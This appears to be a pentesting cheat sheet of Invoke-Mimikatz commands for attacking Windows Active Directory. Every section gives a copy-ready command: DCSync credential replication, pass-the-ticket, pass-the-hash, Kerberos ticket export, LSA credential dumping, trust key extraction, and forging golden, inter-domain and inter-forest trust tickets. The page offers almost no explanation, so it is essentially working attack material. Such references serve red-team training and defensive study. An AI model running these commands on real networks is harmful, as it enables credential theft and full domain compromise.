Mimikatz

DCSync

1
Invoke-Mimikatz -Command '"lsadump::dcsync /user:DOMAIN\USER"'
2
3
Invoke-Mimikatz -Command '"lsadump::dcsync /all"'
4
5
# When DCsyncing and other actions you need to know the short hand of the domain.
6
# This can be found with Translate-Canonical
7
https://gist.github.com/HarmJ0y/4226349db644e6549605
Copied!

Pass-The-Ticket

1
Invoke-Mimikatz -Command '"kerberos::ptt TGS_ticket_file.kirbi"'
Copied!

Pass-The-Hash

1
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:DOMAIN.local /ntlm:<ntlmhash> /run:powershell.exe"'
Copied!

Extract Tickets

1
Invoke-Mimikatz -Command '"kerberos::list /export"'
Copied!

Dump Local Creds

1
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
Copied!

Extract Trust Keys

1
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc
Copied!

Forge Golden Ticket

1
Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:DOMAIN.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:HASH id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
Copied!

Forge Inter-Domain Trust Ticket

1
Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:DOMAIN.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-15-21-280534878-1496970234-700767426-519 /rc4:HASH /service:krbtgt /target:TARGETDOMAIN.local /ticket:C:\AD\Tools\kekeo_old\trust_tkt.kirbi"'
Copied!

Forge Inter-Forest Trust Ticket

1
Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:DOMAIN.local /sid:S-1-5-21-1874506631-3219952063-538504511 /rc4:HASH /service:krbtgt /target:TARGETFOREST.local /ticket:C:\AD\Tools\kekeo_old\trust_forest_tkt.kirbi"'
Copied!
Last modified 1yr ago